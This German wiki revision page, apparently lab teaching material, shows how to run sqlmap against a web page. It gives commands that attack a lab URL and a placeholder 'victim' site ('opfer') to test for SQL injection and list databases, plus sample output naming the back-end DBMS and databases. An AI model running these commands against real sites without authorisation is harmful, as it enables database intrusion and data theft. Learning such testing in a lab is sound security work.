Sqlmap Anwenden: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
=Augabe aller Parameter und Optionen= | =Augabe aller Parameter und Optionen= | ||
*sqlmap -hh | *sqlmap -hh | ||
| + | =Angriff und Auflisten der Datenbank= | ||
| + | *sqlmap "opfer.secure.local/unsafe.php?search=test&submit=Suche" -dbs | ||
| + | ;Infos | ||
| + | <pre> | ||
| + | [16:48:08] [INFO] the back-end DBMS is MySQL | ||
| + | web server operating system: Linux Ubuntu | ||
| + | web application technology: PHP 5.5.9, Apache 2.4.7 | ||
| + | back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) | ||
| + | [16:48:08] [INFO] fetching database names | ||
| + | available databases [4]: | ||
| + | [*] information_schema | ||
| + | [*] mysql | ||
| + | [*] performance_schema | ||
| + | [*] sql_injections | ||
| + | </pre> | ||
| + | |||
=Aufruf des Wizards= | =Aufruf des Wizards= | ||
*geführt und interaktiv | *geführt und interaktiv | ||
Version vom 12. August 2021, 14:50 Uhr
Augabe aller Parameter und Optionen
- sqlmap -hh
Angriff und Auflisten der Datenbank
- sqlmap "opfer.secure.local/unsafe.php?search=test&submit=Suche" -dbs
- Infos
[16:48:08] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: PHP 5.5.9, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [16:48:08] [INFO] fetching database names available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] sql_injections
Aufruf des Wizards
- geführt und interaktiv
- sqlmap --wizard
URL angreifen / auf Schwachstellen testen
- URL je nach Struktur der interessanten Seite
- sqlmap www.opfer.de/index.php?id=1
Ausgabe der Datenbanken - falls angreifbar
- sqlmap www.opfer.de/index.php?id=1 --dbs